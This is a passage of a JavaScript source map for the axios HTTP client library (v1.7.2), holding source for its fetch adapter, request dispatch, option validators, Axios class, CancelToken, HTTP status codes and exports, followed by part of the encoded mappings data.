ReadableStream(),\n method: 'POST',\n get duplex() {\n duplexAccessed = true;\n return 'half';\n },\n }).headers.has('Content-Type');\n\n return duplexAccessed && !hasContentType;\n})();\n\nconst DEFAULT_CHUNK_SIZE = 64 * 1024;\n\nconst supportsResponseStream = isReadableStreamSupported && !!(()=> {\n try {\n return utils.isReadableStream(new Response('').body);\n } catch(err) {\n // return undefined\n }\n})();\n\nconst resolvers = {\n stream: supportsResponseStream && ((res) => res.body)\n};\n\nisFetchSupported && (((res) => {\n ['text', 'arrayBuffer', 'blob', 'formData', 'stream'].forEach(type => {\n !resolvers[type] && (resolvers[type] = utils.isFunction(res[type]) ? (res) => res[type]() :\n (_, config) => {\n throw new AxiosError(`Response type '${type}' is not supported`, AxiosError.ERR_NOT_SUPPORT, config);\n })\n });\n})(new Response));\n\nconst getBodyLength = async (body) => {\n if (body == null) {\n return 0;\n }\n\n if(utils.isBlob(body)) {\n return body.size;\n }\n\n if(utils.isSpecCompliantForm(body)) {\n return (await new Request(body).arrayBuffer()).byteLength;\n }\n\n if(utils.isArrayBufferView(body)) {\n return body.byteLength;\n }\n\n if(utils.isURLSearchParams(body)) {\n body = body + '';\n }\n\n if(utils.isString(body)) {\n return (await encodeText(body)).byteLength;\n }\n}\n\nconst resolveBodyLength = async (headers, body) => {\n const length = utils.toFiniteNumber(headers.getContentLength());\n\n return length == null ? getBodyLength(body) : length;\n}\n\nexport default isFetchSupported && (async (config) => {\n let {\n url,\n method,\n data,\n signal,\n cancelToken,\n timeout,\n onDownloadProgress,\n onUploadProgress,\n responseType,\n headers,\n withCredentials = 'same-origin',\n fetchOptions\n } = resolveConfig(config);\n\n responseType = responseType ? (responseType + '').toLowerCase() : 'text';\n\n let [composedSignal, stopTimeout] = (signal || cancelToken || timeout) ?\n composeSignals([signal, cancelToken], timeout) : [];\n\n let finished, request;\n\n const onFinish = () => {\n !finished && setTimeout(() => {\n composedSignal && composedSignal.unsubscribe();\n });\n\n finished = true;\n }\n\n let requestContentLength;\n\n try {\n if (\n onUploadProgress && supportsRequestStream && method !== 'get' && method !== 'head' &&\n (requestContentLength = await resolveBodyLength(headers, data)) !== 0\n ) {\n let _request = new Request(url, {\n method: 'POST',\n body: data,\n duplex: \"half\"\n });\n\n let contentTypeHeader;\n\n if (utils.isFormData(data) && (contentTypeHeader = _request.headers.get('content-type'))) {\n headers.setContentType(contentTypeHeader)\n }\n\n if (_request.body) {\n data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, fetchProgressDecorator(\n requestContentLength,\n progressEventReducer(onUploadProgress)\n ), null, encodeText);\n }\n }\n\n if (!utils.isString(withCredentials)) {\n withCredentials = withCredentials ? 'cors' : 'omit';\n }\n\n request = new Request(url, {\n ...fetchOptions,\n signal: composedSignal,\n method: method.toUpperCase(),\n headers: headers.normalize().toJSON(),\n body: data,\n duplex: \"half\",\n withCredentials\n });\n\n let response = await fetch(request);\n\n const isStreamResponse = supportsResponseStream && (responseType === 'stream' || responseType === 'response');\n\n if (supportsResponseStream && (onDownloadProgress || isStreamResponse)) {\n const options = {};\n\n ['status', 'statusText', 'headers'].forEach(prop => {\n options[prop] = response[prop];\n });\n\n const responseContentLength = utils.toFiniteNumber(response.headers.get('content-length'));\n\n response = new Response(\n trackStream(response.body, DEFAULT_CHUNK_SIZE, onDownloadProgress && fetchProgressDecorator(\n responseContentLength,\n progressEventReducer(onDownloadProgress, true)\n ), isStreamResponse && onFinish, encodeText),\n options\n );\n }\n\n responseType = responseType || 'text';\n\n let responseData = await resolvers[utils.findKey(resolvers, responseType) || 'text'](response, config);\n\n !isStreamResponse && onFinish();\n\n stopTimeout && stopTimeout();\n\n return await new Promise((resolve, reject) => {\n settle(resolve, reject, {\n data: responseData,\n headers: AxiosHeaders.from(response.headers),\n status: response.status,\n statusText: response.statusText,\n config,\n request\n })\n })\n } catch (err) {\n onFinish();\n\n if (err && err.name === 'TypeError' && /fetch/i.test(err.message)) {\n throw Object.assign(\n new AxiosError('Network Error', AxiosError.ERR_NETWORK, config, request),\n {\n cause: err.cause || err\n }\n )\n }\n\n throw AxiosError.from(err, err && err.code, config, request);\n }\n});\n\n\n","import utils from '../utils.js';\nimport httpAdapter from './http.js';\nimport xhrAdapter from './xhr.js';\nimport fetchAdapter from './fetch.js';\nimport AxiosError from \"../core/AxiosError.js\";\n\nconst knownAdapters = {\n http: httpAdapter,\n xhr: xhrAdapter,\n fetch: fetchAdapter\n}\n\nutils.forEach(knownAdapters, (fn, value) => {\n if (fn) {\n try {\n Object.defineProperty(fn, 'name', {value});\n } catch (e) {\n // eslint-disable-next-line no-empty\n }\n Object.defineProperty(fn, 'adapterName', {value});\n }\n});\n\nconst renderReason = (reason) => `- ${reason}`;\n\nconst isResolvedHandle = (adapter) => utils.isFunction(adapter) || adapter === null || adapter === false;\n\nexport default {\n getAdapter: (adapters) => {\n adapters = utils.isArray(adapters) ? adapters : [adapters];\n\n const {length} = adapters;\n let nameOrAdapter;\n let adapter;\n\n const rejectedReasons = {};\n\n for (let i = 0; i < length; i++) {\n nameOrAdapter = adapters[i];\n let id;\n\n adapter = nameOrAdapter;\n\n if (!isResolvedHandle(nameOrAdapter)) {\n adapter = knownAdapters[(id = String(nameOrAdapter)).toLowerCase()];\n\n if (adapter === undefined) {\n throw new AxiosError(`Unknown adapter '${id}'`);\n }\n }\n\n if (adapter) {\n break;\n }\n\n rejectedReasons[id || '#' + i] = adapter;\n }\n\n if (!adapter) {\n\n const reasons = Object.entries(rejectedReasons)\n .map(([id, state]) => `adapter ${id} ` +\n (state === false ? 'is not supported by the environment' : 'is not available in the build')\n );\n\n let s = length ?\n (reasons.length > 1 ? 'since :\\n' + reasons.map(renderReason).join('\\n') : ' ' + renderReason(reasons[0])) :\n 'as no adapter specified';\n\n throw new AxiosError(\n `There is no suitable adapter to dispatch the request ` + s,\n 'ERR_NOT_SUPPORT'\n );\n }\n\n return adapter;\n },\n adapters: knownAdapters\n}\n","'use strict';\n\nimport transformData from './transformData.js';\nimport isCancel from '../cancel/isCancel.js';\nimport defaults from '../defaults/index.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport adapters from \"../adapters/adapters.js\";\n\n/**\n * Throws a `CanceledError` if cancellation has been requested.\n *\n * @param {Object} config The config that is to be used for the request\n *\n * @returns {void}\n */\nfunction throwIfCancellationRequested(config) {\n if (config.cancelToken) {\n config.cancelToken.throwIfRequested();\n }\n\n if (config.signal && config.signal.aborted) {\n throw new CanceledError(null, config);\n }\n}\n\n/**\n * Dispatch a request to the server using the configured adapter.\n *\n * @param {object} config The config that is to be used for the request\n *\n * @returns {Promise} The Promise to be fulfilled\n */\nexport default function dispatchRequest(config) {\n throwIfCancellationRequested(config);\n\n config.headers = AxiosHeaders.from(config.headers);\n\n // Transform request data\n config.data = transformData.call(\n config,\n config.transformRequest\n );\n\n if (['post', 'put', 'patch'].indexOf(config.method) !== -1) {\n config.headers.setContentType('application/x-www-form-urlencoded', false);\n }\n\n const adapter = adapters.getAdapter(config.adapter || defaults.adapter);\n\n return adapter(config).then(function onAdapterResolution(response) {\n throwIfCancellationRequested(config);\n\n // Transform response data\n response.data = transformData.call(\n config,\n config.transformResponse,\n response\n );\n\n response.headers = AxiosHeaders.from(response.headers);\n\n return response;\n }, function onAdapterRejection(reason) {\n if (!isCancel(reason)) {\n throwIfCancellationRequested(config);\n\n // Transform response data\n if (reason && reason.response) {\n reason.response.data = transformData.call(\n config,\n config.transformResponse,\n reason.response\n );\n reason.response.headers = AxiosHeaders.from(reason.response.headers);\n }\n }\n\n return Promise.reject(reason);\n });\n}\n","export const VERSION = \"1.7.2\";","'use strict';\n\nimport {VERSION} from '../env/data.js';\nimport AxiosError from '../core/AxiosError.js';\n\nconst validators = {};\n\n// eslint-disable-next-line func-names\n['object', 'boolean', 'number', 'function', 'string', 'symbol'].forEach((type, i) => {\n validators[type] = function validator(thing) {\n return typeof thing === type || 'a' + (i < 1 ? 'n ' : ' ') + type;\n };\n});\n\nconst deprecatedWarnings = {};\n\n/**\n * Transitional option validator\n *\n * @param {function|boolean?} validator - set to false if the transitional option has been removed\n * @param {string?} version - deprecated version / removed since version\n * @param {string?} message - some message with additional info\n *\n * @returns {function}\n */\nvalidators.transitional = function transitional(validator, version, message) {\n function formatMessage(opt, desc) {\n return '[Axios v' + VERSION + '] Transitional option \\'' + opt + '\\'' + desc + (message ? '. ' + message : '');\n }\n\n // eslint-disable-next-line func-names\n return (value, opt, opts) => {\n if (validator === false) {\n throw new AxiosError(\n formatMessage(opt, ' has been removed' + (version ? ' in ' + version : '')),\n AxiosError.ERR_DEPRECATED\n );\n }\n\n if (version && !deprecatedWarnings[opt]) {\n deprecatedWarnings[opt] = true;\n // eslint-disable-next-line no-console\n console.warn(\n formatMessage(\n opt,\n ' has been deprecated since v' + version + ' and will be removed in the near future'\n )\n );\n }\n\n return validator ? validator(value, opt, opts) : true;\n };\n};\n\n/**\n * Assert object's properties type\n *\n * @param {object} options\n * @param {object} schema\n * @param {boolean?} allowUnknown\n *\n * @returns {object}\n */\n\nfunction assertOptions(options, schema, allowUnknown) {\n if (typeof options !== 'object') {\n throw new AxiosError('options must be an object', AxiosError.ERR_BAD_OPTION_VALUE);\n }\n const keys = Object.keys(options);\n let i = keys.length;\n while (i-- > 0) {\n const opt = keys[i];\n const validator = schema[opt];\n if (validator) {\n const value = options[opt];\n const result = value === undefined || validator(value, opt, options);\n if (result !== true) {\n throw new AxiosError('option ' + opt + ' must be ' + result, AxiosError.ERR_BAD_OPTION_VALUE);\n }\n continue;\n }\n if (allowUnknown !== true) {\n throw new AxiosError('Unknown option ' + opt, AxiosError.ERR_BAD_OPTION);\n }\n }\n}\n\nexport default {\n assertOptions,\n validators\n};\n","'use strict';\n\nimport utils from './../utils.js';\nimport buildURL from '../helpers/buildURL.js';\nimport InterceptorManager from './InterceptorManager.js';\nimport dispatchRequest from './dispatchRequest.js';\nimport mergeConfig from './mergeConfig.js';\nimport buildFullPath from './buildFullPath.js';\nimport validator from '../helpers/validator.js';\nimport AxiosHeaders from './AxiosHeaders.js';\n\nconst validators = validator.validators;\n\n/**\n * Create a new instance of Axios\n *\n * @param {Object} instanceConfig The default config for the instance\n *\n * @return {Axios} A new instance of Axios\n */\nclass Axios {\n constructor(instanceConfig) {\n this.defaults = instanceConfig;\n this.interceptors = {\n request: new InterceptorManager(),\n response: new InterceptorManager()\n };\n }\n\n /**\n * Dispatch a request\n *\n * @param {String|Object} configOrUrl The config specific for this request (merged with this.defaults)\n * @param {?Object} config\n *\n * @returns {Promise} The Promise to be fulfilled\n */\n async request(configOrUrl, config) {\n try {\n return await this._request(configOrUrl, config);\n } catch (err) {\n if (err instanceof Error) {\n let dummy;\n\n Error.captureStackTrace ? Error.captureStackTrace(dummy = {}) : (dummy = new Error());\n\n // slice off the Error: ... line\n const stack = dummy.stack ? dummy.stack.replace(/^.+\\n/, '') : '';\n try {\n if (!err.stack) {\n err.stack = stack;\n // match without the 2 top stack lines\n } else if (stack && !String(err.stack).endsWith(stack.replace(/^.+\\n.+\\n/, ''))) {\n err.stack += '\\n' + stack\n }\n } catch (e) {\n // ignore the case where \"stack\" is an un-writable property\n }\n }\n\n throw err;\n }\n }\n\n _request(configOrUrl, config) {\n /*eslint no-param-reassign:0*/\n // Allow for axios('example/url'[, config]) a la fetch API\n if (typeof configOrUrl === 'string') {\n config = config || {};\n config.url = configOrUrl;\n } else {\n config = configOrUrl || {};\n }\n\n config = mergeConfig(this.defaults, config);\n\n const {transitional, paramsSerializer, headers} = config;\n\n if (transitional !== undefined) {\n validator.assertOptions(transitional, {\n silentJSONParsing: validators.transitional(validators.boolean),\n forcedJSONParsing: validators.transitional(validators.boolean),\n clarifyTimeoutError: validators.transitional(validators.boolean)\n }, false);\n }\n\n if (paramsSerializer != null) {\n if (utils.isFunction(paramsSerializer)) {\n config.paramsSerializer = {\n serialize: paramsSerializer\n }\n } else {\n validator.assertOptions(paramsSerializer, {\n encode: validators.function,\n serialize: validators.function\n }, true);\n }\n }\n\n // Set config.method\n config.method = (config.method || this.defaults.method || 'get').toLowerCase();\n\n // Flatten headers\n let contextHeaders = headers && utils.merge(\n headers.common,\n headers[config.method]\n );\n\n headers && utils.forEach(\n ['delete', 'get', 'head', 'post', 'put', 'patch', 'common'],\n (method) => {\n delete headers[method];\n }\n );\n\n config.headers = AxiosHeaders.concat(contextHeaders, headers);\n\n // filter out skipped interceptors\n const requestInterceptorChain = [];\n let synchronousRequestInterceptors = true;\n this.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) {\n if (typeof interceptor.runWhen === 'function' && interceptor.runWhen(config) === false) {\n return;\n }\n\n synchronousRequestInterceptors = synchronousRequestInterceptors && interceptor.synchronous;\n\n requestInterceptorChain.unshift(interceptor.fulfilled, interceptor.rejected);\n });\n\n const responseInterceptorChain = [];\n this.interceptors.response.forEach(function pushResponseInterceptors(interceptor) {\n responseInterceptorChain.push(interceptor.fulfilled, interceptor.rejected);\n });\n\n let promise;\n let i = 0;\n let len;\n\n if (!synchronousRequestInterceptors) {\n const chain = [dispatchRequest.bind(this), undefined];\n chain.unshift.apply(chain, requestInterceptorChain);\n chain.push.apply(chain, responseInterceptorChain);\n len = chain.length;\n\n promise = Promise.resolve(config);\n\n while (i < len) {\n promise = promise.then(chain[i++], chain[i++]);\n }\n\n return promise;\n }\n\n len = requestInterceptorChain.length;\n\n let newConfig = config;\n\n i = 0;\n\n while (i < len) {\n const onFulfilled = requestInterceptorChain[i++];\n const onRejected = requestInterceptorChain[i++];\n try {\n newConfig = onFulfilled(newConfig);\n } catch (error) {\n onRejected.call(this, error);\n break;\n }\n }\n\n try {\n promise = dispatchRequest.call(this, newConfig);\n } catch (error) {\n return Promise.reject(error);\n }\n\n i = 0;\n len = responseInterceptorChain.length;\n\n while (i < len) {\n promise = promise.then(responseInterceptorChain[i++], responseInterceptorChain[i++]);\n }\n\n return promise;\n }\n\n getUri(config) {\n config = mergeConfig(this.defaults, config);\n const fullPath = buildFullPath(config.baseURL, config.url);\n return buildURL(fullPath, config.params, config.paramsSerializer);\n }\n}\n\n// Provide aliases for supported request methods\nutils.forEach(['delete', 'get', 'head', 'options'], function forEachMethodNoData(method) {\n /*eslint func-names:0*/\n Axios.prototype[method] = function(url, config) {\n return this.request(mergeConfig(config || {}, {\n method,\n url,\n data: (config || {}).data\n }));\n };\n});\n\nutils.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) {\n /*eslint func-names:0*/\n\n function generateHTTPMethod(isForm) {\n return function httpMethod(url, data, config) {\n return this.request(mergeConfig(config || {}, {\n method,\n headers: isForm ? {\n 'Content-Type': 'multipart/form-data'\n } : {},\n url,\n data\n }));\n };\n }\n\n Axios.prototype[method] = generateHTTPMethod();\n\n Axios.prototype[method + 'Form'] = generateHTTPMethod(true);\n});\n\nexport default Axios;\n","'use strict';\n\nimport CanceledError from './CanceledError.js';\n\n/**\n * A `CancelToken` is an object that can be used to request cancellation of an operation.\n *\n * @param {Function} executor The executor function.\n *\n * @returns {CancelToken}\n */\nclass CancelToken {\n constructor(executor) {\n if (typeof executor !== 'function') {\n throw new TypeError('executor must be a function.');\n }\n\n let resolvePromise;\n\n this.promise = new Promise(function promiseExecutor(resolve) {\n resolvePromise = resolve;\n });\n\n const token = this;\n\n // eslint-disable-next-line func-names\n this.promise.then(cancel => {\n if (!token._listeners) return;\n\n let i = token._listeners.length;\n\n while (i-- > 0) {\n token._listeners[i](cancel);\n }\n token._listeners = null;\n });\n\n // eslint-disable-next-line func-names\n this.promise.then = onfulfilled => {\n let _resolve;\n // eslint-disable-next-line func-names\n const promise = new Promise(resolve => {\n token.subscribe(resolve);\n _resolve = resolve;\n }).then(onfulfilled);\n\n promise.cancel = function reject() {\n token.unsubscribe(_resolve);\n };\n\n return promise;\n };\n\n executor(function cancel(message, config, request) {\n if (token.reason) {\n // Cancellation has already been requested\n return;\n }\n\n token.reason = new CanceledError(message, config, request);\n resolvePromise(token.reason);\n });\n }\n\n /**\n * Throws a `CanceledError` if cancellation has been requested.\n */\n throwIfRequested() {\n if (this.reason) {\n throw this.reason;\n }\n }\n\n /**\n * Subscribe to the cancel signal\n */\n\n subscribe(listener) {\n if (this.reason) {\n listener(this.reason);\n return;\n }\n\n if (this._listeners) {\n this._listeners.push(listener);\n } else {\n this._listeners = [listener];\n }\n }\n\n /**\n * Unsubscribe from the cancel signal\n */\n\n unsubscribe(listener) {\n if (!this._listeners) {\n return;\n }\n const index = this._listeners.indexOf(listener);\n if (index !== -1) {\n this._listeners.splice(index, 1);\n }\n }\n\n /**\n * Returns an object that contains a new `CancelToken` and a function that, when called,\n * cancels the `CancelToken`.\n */\n static source() {\n let cancel;\n const token = new CancelToken(function executor(c) {\n cancel = c;\n });\n return {\n token,\n cancel\n };\n }\n}\n\nexport default CancelToken;\n","'use strict';\n\n/**\n * Syntactic sugar for invoking a function and expanding an array for arguments.\n *\n * Common use case would be to use `Function.prototype.apply`.\n *\n * ```js\n * function f(x, y, z) {}\n * var args = [1, 2, 3];\n * f.apply(null, args);\n * ```\n *\n * With `spread` this example can be re-written.\n *\n * ```js\n * spread(function(x, y, z) {})([1, 2, 3]);\n * ```\n *\n * @param {Function} callback\n *\n * @returns {Function}\n */\nexport default function spread(callback) {\n return function wrap(arr) {\n return callback.apply(null, arr);\n };\n}\n","'use strict';\n\nimport utils from './../utils.js';\n\n/**\n * Determines whether the payload is an error thrown by Axios\n *\n * @param {*} payload The value to test\n *\n * @returns {boolean} True if the payload is an error thrown by Axios, otherwise false\n */\nexport default function isAxiosError(payload) {\n return utils.isObject(payload) && (payload.isAxiosError === true);\n}\n","const HttpStatusCode = {\n Continue: 100,\n SwitchingProtocols: 101,\n Processing: 102,\n EarlyHints: 103,\n Ok: 200,\n Created: 201,\n Accepted: 202,\n NonAuthoritativeInformation: 203,\n NoContent: 204,\n ResetContent: 205,\n PartialContent: 206,\n MultiStatus: 207,\n AlreadyReported: 208,\n ImUsed: 226,\n MultipleChoices: 300,\n MovedPermanently: 301,\n Found: 302,\n SeeOther: 303,\n NotModified: 304,\n UseProxy: 305,\n Unused: 306,\n TemporaryRedirect: 307,\n PermanentRedirect: 308,\n BadRequest: 400,\n Unauthorized: 401,\n PaymentRequired: 402,\n Forbidden: 403,\n NotFound: 404,\n MethodNotAllowed: 405,\n NotAcceptable: 406,\n ProxyAuthenticationRequired: 407,\n RequestTimeout: 408,\n Conflict: 409,\n Gone: 410,\n LengthRequired: 411,\n PreconditionFailed: 412,\n PayloadTooLarge: 413,\n UriTooLong: 414,\n UnsupportedMediaType: 415,\n RangeNotSatisfiable: 416,\n ExpectationFailed: 417,\n ImATeapot: 418,\n MisdirectedRequest: 421,\n UnprocessableEntity: 422,\n Locked: 423,\n FailedDependency: 424,\n TooEarly: 425,\n UpgradeRequired: 426,\n PreconditionRequired: 428,\n TooManyRequests: 429,\n RequestHeaderFieldsTooLarge: 431,\n UnavailableForLegalReasons: 451,\n InternalServerError: 500,\n NotImplemented: 501,\n BadGateway: 502,\n ServiceUnavailable: 503,\n GatewayTimeout: 504,\n HttpVersionNotSupported: 505,\n VariantAlsoNegotiates: 506,\n InsufficientStorage: 507,\n LoopDetected: 508,\n NotExtended: 510,\n NetworkAuthenticationRequired: 511,\n};\n\nObject.entries(HttpStatusCode).forEach(([key, value]) => {\n HttpStatusCode[value] = key;\n});\n\nexport default HttpStatusCode;\n","'use strict';\n\nimport utils from './utils.js';\nimport bind from './helpers/bind.js';\nimport Axios from './core/Axios.js';\nimport mergeConfig from './core/mergeConfig.js';\nimport defaults from './defaults/index.js';\nimport formDataToJSON from './helpers/formDataToJSON.js';\nimport CanceledError from './cancel/CanceledError.js';\nimport CancelToken from './cancel/CancelToken.js';\nimport isCancel from './cancel/isCancel.js';\nimport {VERSION} from './env/data.js';\nimport toFormData from './helpers/toFormData.js';\nimport AxiosError from './core/AxiosError.js';\nimport spread from './helpers/spread.js';\nimport isAxiosError from './helpers/isAxiosError.js';\nimport AxiosHeaders from \"./core/AxiosHeaders.js\";\nimport adapters from './adapters/adapters.js';\nimport HttpStatusCode from './helpers/HttpStatusCode.js';\n\n/**\n * Create an instance of Axios\n *\n * @param {Object} defaultConfig The default config for the instance\n *\n * @returns {Axios} A new instance of Axios\n */\nfunction createInstance(defaultConfig) {\n const context = new Axios(defaultConfig);\n const instance = bind(Axios.prototype.request, context);\n\n // Copy axios.prototype to instance\n utils.extend(instance, Axios.prototype, context, {allOwnKeys: true});\n\n // Copy context to instance\n utils.extend(instance, context, null, {allOwnKeys: true});\n\n // Factory for creating new instances\n instance.create = function create(instanceConfig) {\n return createInstance(mergeConfig(defaultConfig, instanceConfig));\n };\n\n return instance;\n}\n\n// Create the default instance to be exported\nconst axios = createInstance(defaults);\n\n// Expose Axios class to allow class inheritance\naxios.Axios = Axios;\n\n// Expose Cancel & CancelToken\naxios.CanceledError = CanceledError;\naxios.CancelToken = CancelToken;\naxios.isCancel = isCancel;\naxios.VERSION = VERSION;\naxios.toFormData = toFormData;\n\n// Expose AxiosError class\naxios.AxiosError = AxiosError;\n\n// alias for CanceledError for backward compatibility\naxios.Cancel = axios.CanceledError;\n\n// Expose all/spread\naxios.all = function all(promises) {\n return Promise.all(promises);\n};\n\naxios.spread = spread;\n\n// Expose isAxiosError\naxios.isAxiosError = isAxiosError;\n\n// Expose mergeConfig\naxios.mergeConfig = mergeConfig;\n\naxios.AxiosHeaders = AxiosHeaders;\n\naxios.formToJSON = thing => formDataToJSON(utils.isHTMLForm(thing) ? new FormData(thing) : thing);\n\naxios.getAdapter = adapters.getAdapter;\n\naxios.HttpStatusCode = HttpStatusCode;\n\naxios.default = axios;\n\n// this module should only have a default export\nexport default axios\n","import axios from './lib/axios.js';\n\n// This module is intended to unwrap Axios default export as named.\n// Keep top-level export same with static properties\n// so that it can keep same with es module or cjs\nconst {\n Axios,\n AxiosError,\n CanceledError,\n isCancel,\n CancelToken,\n VERSION,\n all,\n Cancel,\n isAxiosError,\n spread,\n toFormData,\n AxiosHeaders,\n HttpStatusCode,\n formToJSON,\n getAdapter,\n mergeConfig\n} = axios;\n\nexport {\n axios as default,\n Axios,\n AxiosError,\n CanceledError,\n isCancel,\n CancelToken,\n VERSION,\n all,\n Cancel,\n isAxiosError,\n spread,\n toFormData,\n AxiosHeaders,\n HttpStatusCode,\n formToJSON,\n getAdapter,\n mergeConfig\n}\n"],"names":["AxiosError","utils","prototype","toFormData","encode","URLSearchParams","FormData","Blob","platform","AxiosHeaders","defaults","isCancel","CanceledError","mergeConfig","composeSignals","VERSION","validators","Axios","InterceptorManager","CancelToken","spread","isAxiosError","HttpStatusCode","axios"],"mappings":"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